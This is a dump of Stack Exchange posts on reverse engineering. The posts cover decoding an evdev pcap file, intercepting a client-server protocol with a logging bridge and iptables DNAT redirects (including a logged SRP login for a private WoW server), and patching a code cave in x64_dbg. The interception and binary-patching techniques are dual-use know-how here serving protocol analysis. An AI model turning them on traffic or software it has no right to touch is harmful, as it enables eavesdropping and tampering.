  <row Id="9378" PostTypeId="2" ParentId="9361" CreationDate="2015-07-16T23:27:16.590" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But opening it with wireshark just gave me an error &quot;network type 216 unknown or unsupported&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's because nobody's contributed support for DLT_LINUX_EVDEV to Wireshark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There does not appear to be anything at all corrupt about that file; if it were corrupt, Wireshark would have indicated that.  &quot;network type XXX unknown or unsupported&quot; doesn't mean the file is corrupt, it just means that Wireshark doesn't happen to handle that particular link-layer header type value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D4 C3 B2 A1: That's a little-endian pcap magic number.  So far, so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02 00: That's a little-endian major version number of 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;04 00: That's a little-endian minor version number of 4.  2.4 is the current pcap file format version number; so far, so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00 00 00 00: That's the time zone offset, which is usually 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00 00 00 00: That's the time stamp accuracy, which is usually 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18 00 00 00: That's a little-endian snapshot length of 0x18 or 24.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D8 00 00 00: That's a little-endian link-layer header type of 0xD8, or 216, or DLT_LINUX_EVDEV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows are records for packets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8E 6E 6E 52: That's a little-endian seconds-since-January 1, 1970 00:00:00 UTC value of 0x526E6E8E, or 1382968974, or Mon Oct 28 07:02:54 2013 Pacific Standard Time - i.e., a bit more than a year and a half ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A9 CB 00 00: That's a little-endian microseconds-since-that-second value of 0xCBA9, or 52137.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18 00 00 00: That's a little-endian count of bytes captured, with a value of 0x18, or 24.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18 00 00 00: That's a little-endian count of bytes that were actually in the message (the capture process can truncate data past a certain point; that's what the snapshot length in the file indicates), with a value of 0x18, or 24.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the 24 bytes of packet data are:&#xA;8E 6E 6E 52&#xA;00 00 00 00&#xA;A9 CB 00 00&#xA;00 00 00 00&#xA;04 00 04 00&#xA;1C 00 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;EVDEV&quot; refers to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Evdev&quot; rel=&quot;nofollow&quot;&gt;evdev&lt;/a&gt; driver in Linux, which allows various providers of user input (keyboards, mice, tablets, trackpads, joysticks, etc.) to plug into it, and it merges the streams of input events into a single stream that can be read by programs such as the X server or the Weston server for Wayland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its events are described in the Linux &quot;input.h&quot; header as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct input_event {&#xA;    struct timeval time;&#xA;    __u16 type;&#xA;    __u16 code;&#xA;    __s32 value;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that's a 64-bit(?) seconds-since-January 1, 1970, 00:00:00 UTC, a 64-bit microseconds since that second, a 16-bit type, a 16-bit code, and a 32-bit value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All, unfortunately, in host byte order, according to the discussion on the tcpdump-workers mailing list.  This host is, apparently, little-endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the time stamp duplicates the one in the pcap record header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8E 6E 6E 52 00 00 00 00 - 0x526E6E8E, or the same time stamp as in the packet record header;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A9 CB 00 00 00 00 00 00 - 0xCBA9, or the same microseconds-since-that-second as in the packet record header;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;04 00 - 0x0004, or a type of 4, or &quot;EV_MSC&quot; according to the Linux header, and which is &quot;Used to describe miscellaneous input data that do not fit into other types&quot; according to &lt;a href=&quot;https://www.kernel.org/doc/Documentation/input/event-codes.txt&quot; rel=&quot;nofollow&quot;&gt;the Linux event codes documentation&lt;/a&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;04 00 - 0x0004, or a code of 4, or &quot;MSC_SCAN&quot; for EV_MSC messages according to the Linux header;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1C 00 00 00 - 0x1C, or a value of 30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then we have the next packet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8E 6E 6E 52 - same second&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A9 CB 00 00 - same microsecond&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18 00 00 00 - same length, not surprising as all evdev messages are 24 bytes long&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18 00 00 00 - again, same length&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8E 6E 6E 52 00 00 00 00 - same (duplicate) second&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A9 CB 00 00 00 00 00 00 - same (duplicate) microsecond&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01 00 - 0x0001, or type &quot;EV_KEY&quot;, &quot;Used to describe state changes of keyboards, buttons, or other key-like devices&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1C 00 - 0x001C, or 28, which is &quot;KEY_ENTER&quot;, the meaning of which should be obvious (although the one on the laptop on which I'm typing this says &quot;return&quot; in larger letters below and only says &quot;enter&quot; in smaller letters above :-))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00 00 00 00 - value of 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm absolutely 100% certain that it &lt;em&gt;is&lt;/em&gt; a pcap file, and isn't even a corrupted one; it just happens to contain messages that Wireshark doesn't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link type, in the sense of &quot;link-layer header type&quot;, appears only once, in the file's header, so there's no reason to expect anything else to be a link type in the file - pcap &lt;em&gt;simply doesn't support&lt;/em&gt; different link types in one single capture file, unless a hack like DLT_PPI is used.  So that part of the argument against it being a pcap file is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for addresses, there's no guarantee that a given DLT_ type &lt;em&gt;has&lt;/em&gt; any addresses, and evdev events don't, so that doesn't apply, either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, if you want to open it in Wireshark, you'll need to find or write a dissector for it.&lt;/p&gt;&#xA;" OwnerDisplayName="user13039" LastActivityDate="2015-07-16T23:27:16.590" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9379" PostTypeId="2" ParentId="9364" CreationDate="2015-07-16T23:48:52.843" Score="2" Body="&lt;p&gt;I am sorry for this self-advertisement, but I am developing a tool &lt;a href=&quot;https://github.com/tathanhdinh/relative-pattern&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. My final goal is to recover the original control flow graph of virtualized binaries. But at a step of this, for visualization purpose, I have implemented a functionality to reconstruct the CFG of binaries from traces. The main implementation of this reconstrution is in the file &lt;code&gt;src/lib/cap/graph.cpp&lt;/code&gt;, it has no problem in performance in constructing the basic block graph from traces of about 100K instructions (I have tested on obfuscated binaries whose traces are about 300K instructions). You can see several pdf files in the folders &lt;code&gt;demo&lt;/code&gt; and &lt;code&gt;results&lt;/code&gt;, I have generated them from execution traces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in, I am more than happy to answer any further question.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2015-07-17T00:29:16.143" LastActivityDate="2015-07-17T00:29:16.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9380" PostTypeId="1" AcceptedAnswerId="9383" CreationDate="2015-07-17T03:42:02.847" Score="2" ViewCount="715" Body="&lt;p&gt;I'm attempting to reverse engineer (without dissecting the source code, as my understanding is that reverse engineering by analyzing input and output and building something from scratch that fits is both far more legal and less monotonous/brain-dead than decompiling/de-obfuscating the program) a program that acts as client to a server, and one of the main systems I need to figure out is how they communicate (the exact meaning of each byte of data sent over the internet). The way I would like to go about doing this is by developing a program from scratch that attempts to imitate the client, but that acts as middle-man to both client and server so that I can easily see if the output my work-in-progress program would provide matches the actual client's output and how it differs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to go about doing this, though. I think the site the client connects to is hard-coded into it; is there a way to make the client think that it is talking to the server, and the server to think that it is talking to the client, when in reality both are talking to my in-progress program? I would like for both my program and the client to be on the same (physical) system. I've been using a packet sniffer to monitor communication between the client and server, but it would be much simpler and convenient if I could have my program act as middle-man. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a Lubuntu 15.04 system as my primary system currently, if that helps.&lt;/p&gt;&#xA;" OwnerUserId="13041" LastActivityDate="2017-04-28T09:02:41.777" Title="Putting an application in between client and server" Tags="|linux|networking|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9381" PostTypeId="2" ParentId="9380" CreationDate="2015-07-17T09:14:52.737" Score="1" Body="&lt;p&gt;first you need to determine the kind of communication between server and client like if it is &lt;strong&gt;TCP&lt;/strong&gt; or &lt;strong&gt;UDP&lt;/strong&gt; or whatever else&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;in case of TCP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something similar for &lt;strong&gt;TCP&lt;/strong&gt; once so here some insights:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to know which ports are used. Good way for this is checking with your firewall or grab some monitoring utility for this. Once known the ports create an App that will act like bridge between Server and Client each communication channel must be covered (there can be multiple &lt;strong&gt;TCP&lt;/strong&gt; server-client pairs each with its distinct Port or even IP in some cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To place a bridge between Server and client you need trick both sides to connect to your bridge instead of themselves. That is usually done by changing the IP address to which you are connecting. If you can change the Ports then you could do that on a single machine. So search for some config file or registry entry where you will see some IP &lt;code&gt;address:port&lt;/code&gt; corresponding to your server. The Client address is obtained by the &lt;strong&gt;TCP&lt;/strong&gt; Server automatically so unless that is locked on the Server side you should be fine. In some cases the Address is send by some packet along the time so check for that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;address/port&lt;/code&gt; is not changeable then you need to make it by Hardware. I think some bridge or virtual network would do it but that is above my knowledge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logging bridge app should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GCmBl.png&quot; alt=&quot;logging bridge app&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you just listen on your &lt;strong&gt;TCP&lt;/strong&gt; server and on any new connection create &lt;strong&gt;TCP&lt;/strong&gt; Client and Connect to its real destination. After that  when any packet received by &lt;strong&gt;TCP&lt;/strong&gt; Server then just log it to a file and forward it to &lt;strong&gt;TCP&lt;/strong&gt; client. It is a good idea to log all channels to single file with [tags] from which channel it was send (or even with time stamp). This way you will see the messages in their order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is example of log from mine logging app:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Connecting to Realmd]&#xA;[-&amp;gt;Realmd] 40 Bytes&#xA;&#xA;   txt: ..$.WoW....ž!68x.niW.SUne&amp;lt;...Ŕ¨...POLIKU&quot; &#xA;&#xA;   hex: 00 08 24 00 57 6F 57 00 02 04 03 9E 21 36 38 78 00 6E 69 57 00 53 55 6E 65 3C 00 00 00 C0 A8 06 0A 06 50 4F 4C 49 4B 55 &#xA;&#xA;[&amp;lt;-Realmd] 119 Bytes&#xA;&#xA;   txt: ...:.ZŮmý.;ö)&amp;lt;¨eĚ÷‹ŚAĹ¬ë”Ĺ.Ř=ţŘë.„.. ·›&amp;gt;*‡‚&amp;lt;«Ź^żżŽ±..SP.)‹[­˝[Sá‰^dK‰.¤Ëź’)Ą&amp;lt;&quot;«).~qí–!3Őś”:.Ŕ˘‰ľVĺw.†u±‹…»ň5›äÇSŰ\*Ý.&quot; &#xA;&#xA;   hex: 00 00 00 3A 02 5A D9 6D FD 0C 3B 81 F6 29 3C A8 65 CC F7 8B 8C 41 C5 AC EB 94 C5 0E D8 3D FE D8 EB 1B 84 01 07 20 B7 9B &#xA;        3E 2A 87 82 3C AB 8F 5E BF BF 8E B1 01 08 53 50 06 29 8B 5B AD BD 5B 53 E1 89 5E 64 4B 89 07 A4 CB 9F 92 29 A5 3C 22 AB &#xA;        29 01 7E 71 ED 96 21 33 D5 9C 94 3A 09 C0 A2 89 BE 56 E5 77 09 86 75 B1 8B 88 85 BB F2 35 9B E4 C7 53 DB 5C 2A DD 00 &#xA;&#xA;[-&amp;gt;Realmd] 75 Bytes&#xA;&#xA;   txt: .‹'c¬^C°‹ëŔ#¦š ]Ă¨‚.ÚGĄ™ZŻr–´&amp;gt;.ŻQtLµ*×•.Ĺ˘{H.3űdŚ‘ĺŢęX`‡.ř–=‡ŰÇÉĹ.ę×..&quot; &#xA;&#xA;   hex: 01 8B 27 63 98 AC 5E 43 B0 8B EB C0 23 A6 9A A0 5D C3 A8 82 88 09 DA 47 A5 99 5A AF 72 96 88 B4 3E 1B 98 AF 51 74 4C B5 &#xA;        2A D7 95 03 C5 A2 7B 48 1C 33 FB 64 8C 91 E5 DE EA 58 98 60 87 1A F8 96 3D 87 DB C7 C9 C5 1B EA D7 00 00 &#xA;&#xA;[&amp;lt;-Realmd] 32 Bytes&#xA;&#xA;   txt: ..!\öţWA-Qkś”)S—˘ČňóÚ..€.......&quot; &#xA;&#xA;   hex: 01 00 21 5C F6 98 FE 57 41 2D 51 6B 9C 94 29 53 97 A2 C8 F2 F3 DA 00 00 80 00 00 00 00 00 00 00 &#xA;&#xA;[-&amp;gt;Realmd] 5 Bytes&#xA;&#xA;   txt: .....&quot; &#xA;&#xA;   hex: 10 00 00 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is log of &lt;strong&gt;SRP&lt;/strong&gt; validation process between &lt;strong&gt;Mangos&lt;/strong&gt; and its Client. It is a good idea to show the packets in booth hex and text to better see the contents and purpose of packet. For example if you look at the first packet you can clearly see the App signature (&lt;strong&gt;WoW&lt;/strong&gt;) and &lt;strong&gt;SRP&lt;/strong&gt; login name (&lt;code&gt;POLIKU&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decoding&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once app is running and the Server/Client is working it may lag a bit but should work as expected (if not then you are time outing or missing some communication channel or config packet if there is one .. for custom ip:port ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you should log specific operations on the client side. Once some packets are identified you should add their identification and decoding to the log utility so you will see which packets are unknown and which are known&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here example of partially decode log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[New connection to Realmd]&#xA;&#xA;[-&amp;gt;Realmd] 40 Bytes&#xA;&#xA;   txt: ..$.WoW....ž!68x.niW.SUne&amp;lt;...A¨...POLIKU&quot; &#xA;&#xA;   hex: 00 08 24 00 57 6F 57 00 02 04 03 9E 21 36 38 78 00 6E 69 &#xA;        57 00 53 55 6E 65 3C 00 00 00 C0 A8 06 0A 06 50 4F 4C 49 &#xA;        4B 55 &#xA;   Try to login: POLIKU&#xA;&#xA;[&amp;lt;-Realmd] 119 Bytes&#xA;&#xA;   txt: ...L¤/O.é.–AÝ¦oc^boTNi+yi??™PM–~ kd.. ‰Kd^‰áS[1­[‹).PS.&#xA;        .±Ž??^?«&amp;lt;‚‡*&amp;gt;›·z]3n..?.o^é.ËE^—0)u.IrÂeA~/±Î¦7kK›b^ý^¸.&#xA;        .â.$NÔa.&quot; &#xA;&#xA;   hex: 00 00 00 4C A4 2F 4F 06 E9 0C 96 C3 DD A6 BA A2 88 62 F8 &#xA;        54 D1 EC 2B 79 EC 8D F0 99 50 4D 96 7E A0 6B 64 01 07 20 &#xA;        89 4B 64 5E 89 E1 53 5B BD AD 5B 8B 29 06 50 53 08 01 B1 &#xA;        8E BF BF 5E 8F AB 3C 82 87 2A 3E 9B B7 7A 5D B3 F1 0D 1D &#xA;        8F 13 F8 88 E9 2E CB CA 88 97 30 29 FB 03 CF 72 C2 E8 C5 &#xA;        98 2F B1 CE A6 37 6B 4B 9B 62 88 FD 88 B8 14 07 E2 11 24 &#xA;        4E D4 E0 81 00 &#xA;&#xA;[-&amp;gt;Realmd] 75 Bytes&#xA;&#xA;   txt: .u..9Š?5×n.€%XU.».â.N.]5Ös6joü€LRpeKŽHa.”&amp;gt;1a.M¸Au„ë...&#xA;        ....................&quot; &#xA;&#xA;   hex: 01 F9 0F 0D 39 8A DE 35 D7 81 6E 1C 80 25 58 D9 11 BB 1C &#xA;        E2 02 4E 04 5D 35 D6 73 36 6A 6F FC 80 4C 52 70 65 4B 8E &#xA;        48 E0 08 94 3E BC E0 06 4D B8 C6 FB 84 EB 1C 00 00 00 00 &#xA;        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;   acc:POLIKU&#xA;   psw:POLIKU&#xA;     N:B79B3E2A87823CAB8F5EBFBF8EB10108535006298B5BADBD5B53E1895E644B89&#xA;     g:7&#xA;     k:3&#xA;     b:8C08F2D3388C800AFE1FBCB1929D44366CA72032C157535E328DDED54F8F1B91&#xA;     B:646BA07E964D5099F08DEC792BECD154F86288A2BAA6DDC3960CE9064F2FA44C&#xA;     A:4C80FC6F6A3673D6355D044E02E21CBB11D95825801C6E81D735DE8A390D0FF9&#xA;    M1:20A2FF67BC1229843486DFF2716AB2AA4EA4F89A&#xA;   *M1:1CEB84FBC6B84D06E0BC3E9408E0488E4B657052&#xA;    M2:E8D256A03DB20C253453EC2A0797A17929812722&#xA;    sk:35E3759DAC4DF1457C5CE61CD4B31DCCAFFFB72147D81413DED7A3F01ACF034775550A1405EC915&#xA;  salt:6B37A6CEB12F98C5E8C272CF03FB29309788CACB2EE988F8138F1D0DF1B35D7A&#xA;  crcs:81E0D44E2411E20714B888FD88629B4B&#xA;   Authentification failed!&#xA;&#xA;[&amp;lt;-Realmd] 4 Bytes&#xA;&#xA;   txt: ....&quot; &#xA;&#xA;   hex: 01 04 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2017-04-28T09:02:41.777" LastActivityDate="2017-04-28T09:02:41.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9382" PostTypeId="1" AcceptedAnswerId="9386" CreationDate="2015-07-17T13:09:44.727" Score="1" ViewCount="1347" Body="&lt;p&gt;I'm trying a code-cave approach to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9366/set-qword-with-a-constant-value-in-ida-pro&quot;&gt;this&lt;/a&gt; query that was asked about on this forum earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;strong&gt;x64_dbg&lt;/strong&gt; to perform this task. My issue here is that after I have written the extra lines of assembly within the code-cave, using &lt;code&gt;Right-Click &amp;gt; Patches&lt;/code&gt; does not apply them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;strong&gt;x64_dbg&lt;/strong&gt; require an additional add-on to perform this kind of patching?&#xA;However, the code changes inside the address space of the function patches just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assembly code (Code-Cave)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BoyXu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failed dialog box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hBNWI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12988" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2019-09-08T19:47:17.583" Title="Code-Cave Assembly Patching Issue in x64_dbg" Tags="|ida|disassembly|x86-64|patching|machine-code|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9383" PostTypeId="2" ParentId="9380" CreationDate="2015-07-17T13:32:43.573" Score="1" Body="&lt;p&gt;You may want to have a look at &lt;a href=&quot;https://mitmproxy.org/&quot; rel=&quot;nofollow&quot;&gt;mitmproxy&lt;/a&gt;. This allows you to intercept and modify http(s) traffic, which may or may not be what you need, but it also has tools like mitmdump that just dump what's going over the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mitmproxy also has instructions about &lt;a href=&quot;https://mitmproxy.org/doc/transparent/linux.html&quot; rel=&quot;nofollow&quot;&gt;setting up the linux tcp stack using iptables to redirect connections&lt;/a&gt;. I guess this is the main part of what you're trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your setup, the easiest thing you could do is probably create a virtual machine using virtualbox, running the client within the machine, using iptables inside the machine to redirect server connections to your host, and run the proxy on the host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using a virtual machine is that whatever you install/configure on your VM won't interfere with your host, where you may not want to mess with the network to reduce the risk of breaking other things, and you can create a snapshot and go back to it of you break something and don't remember what exactly you've done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, on the VM, do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A OUTPUT -p tcp --dport 1234 -j DNAT --to-destination 1.2.3.4:1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to redirect all traffic from the client, &lt;em&gt;independent from target ip&lt;/em&gt;, to the host (assuming the host is 1.2.3.4). The, on the host, write a program to listen on port 1234, dump all data, and pass through to real.server.ip:1234. This way, you don't have to mess with the IP configuration of the host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use a VM, you could also use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A OUTPUT -p tcp --dport 1234 -j DNAT --to-destination 127.0.0.1:1234&#xA;iptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination :1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have your program listen on port 1234, and connect to 1235 on the real server. The second iptables entry will redirect this to 1234 again, and use the IP the program requested, since you just used a port without an IP in the &lt;code&gt;--to-destination&lt;/code&gt; argument. Your client (that uses port 1234) always gets redirected to localhost, and the proxy, that connects to 1235, will get redirected to 1234. Obviously, the order of iptables commands is important here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the real server ip or name as well, of course:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination 192.168.17.135:1234&#xA;iptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination real.server.name:1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but note that &lt;code&gt;real.server.name&lt;/code&gt; gets resolved the moment you start the iptables command, not when the packet gets sent. So, if your real.server.address changes later, for example if it's behind a dynamic IP, you'll have to remove the iptables entry and create a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to minimize impact on your machine, where you might have an unrelated program connect to an unrelated server on port 1235, you might want to restrict changing the port to one particular server only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A OUTPUT -p tcp --dest 192.168.17.135 --dport 1235 -j DNAT --to-destination 192.168.17.135:1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-07-17T16:48:19.850" LastActivityDate="2015-07-17T16:48:19.850" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostTypeId="5" CreationDate="2015-07-17T13:36:24.107" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-07-17T13:36:24.107" LastActivityDate="2015-07-17T13:36:24.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9385" PostTypeId="4" CreationDate="2015-07-17T13:36:24.107" Score="0" Body="A control flow graph (CFG) is a representation, using graph notation, of all paths that might be traversed through a program during its execution. The control flow graph is due to Frances E. Allen, who notes that Reese T. Prosser used boolean connectivity matrices for flow analysis before." OwnerUserId="8247" LastEditorUserId="4437" LastEditDate="2015-07-21T07:54:52.733" LastActivityDate="2015-07-21T07:54:52.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9386" PostTypeId="2" ParentId="9382" CreationDate="2015-07-17T14:43:58.100" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://x64dbg.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64_dbg&lt;/a&gt; uses &lt;a href=&quot;http://reversinglabs.com/open-source/titanengine.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TitanEngine&lt;/a&gt;'s &lt;code&gt;ConvertVAtoFileOffsetEx()&lt;/code&gt; function to apply the patches. That function validates that the virtual addresses of the bytes to be patched are within a section's memory space at run-time (based on the section's virtual address and the section's virtual size). Since the bytes you're patching are after the end of the section's virtual size, &lt;code&gt;ConvertVAtoFileOffsetEx()&lt;/code&gt; returns &lt;code&gt;0&lt;/code&gt; and the patches are never applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, I'd recommend patching the virtual size of the section to which you're appending those new bytes. Whatever the current virtual size is, make it &lt;code&gt;14&lt;/code&gt; bytes bigger in the PE section's header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a tool like &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Explorer Suite&lt;/a&gt; to make this change by navigating to the file's &lt;em&gt;Section Headers&lt;/em&gt; and increasing the value in the target section's &lt;em&gt;Virtual Size&lt;/em&gt; field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/59oUX.jpg&quot; alt=&quot;Explorer Suite&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-07-17T15:16:46.193" LastActivityDate="2015-07-17T15:16:46.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostTypeId="2" ParentId="9296" CreationDate="2015-07-17T19:14:12.737" Score="6" Body="&lt;p&gt;The gzip headers are valid, but the deflate compressed data format is violated almost immediately, within less than ten bytes in for all of the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all of the example files provided, the first deflate block is a dynamic block which has an oversubscribed code lengths code.  That means that a Huffman code required to decode the code lengths for that block is itself invalid.  This immediately halts the decompression, since no further progress can be made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last four bytes may not be what you think they are.  The last four bytes of a valid gzip file is the length of the uncompressed data, modulo 2&lt;sup&gt;32&lt;/sup&gt;, in little-endian order.  Those lengths do not seem correlated to the file sizes.  For example &lt;code&gt;file1010.gz&lt;/code&gt;'s last four bytes are &lt;code&gt;0b 03 00 00&lt;/code&gt;.  It's length is 10766.  So 10766 bytes decompresses to 779 bytes?  I don't think so.  So the second-to-last four bytes are likely also not what you would expect there for a gzip stream, i.e. likely not a CRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data after the header appears to be random in all cases (pretty flat histogram over 0..255), and is itself mostly incompressible, which is consistent with it being compressed data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried decompressing from all bit offsets starting after the gzip header to the end, but no joy.  This rules out some sort of header followed by valid deflate data.&lt;/p&gt;&#xA;" OwnerUserId="13045" LastEditorUserId="13045" LastEditDate="2015-07-21T06:29:00.407" LastActivityDate="2015-07-21T06:29:00.407" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostTypeId="1" AcceptedAnswerId="9389" CreationDate="2015-07-18T04:15:03.843" Score="1" ViewCount="1557" Body="&lt;p&gt;I am trying to debug a linux application using remote debugging feature in ida pro. I use the remote linux debugger on windows after running the ida server on linux. My problem is that the file run normally in the linux environment since environment variables are accessible to the file. However, on using ida in windows the environment variables seems to be inaccessible and give error that I should define environment variables. &lt;/p&gt;&#xA;" OwnerUserId="12628" LastActivityDate="2015-07-18T07:43:05.850" Title="adding environment variable to ida pro" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
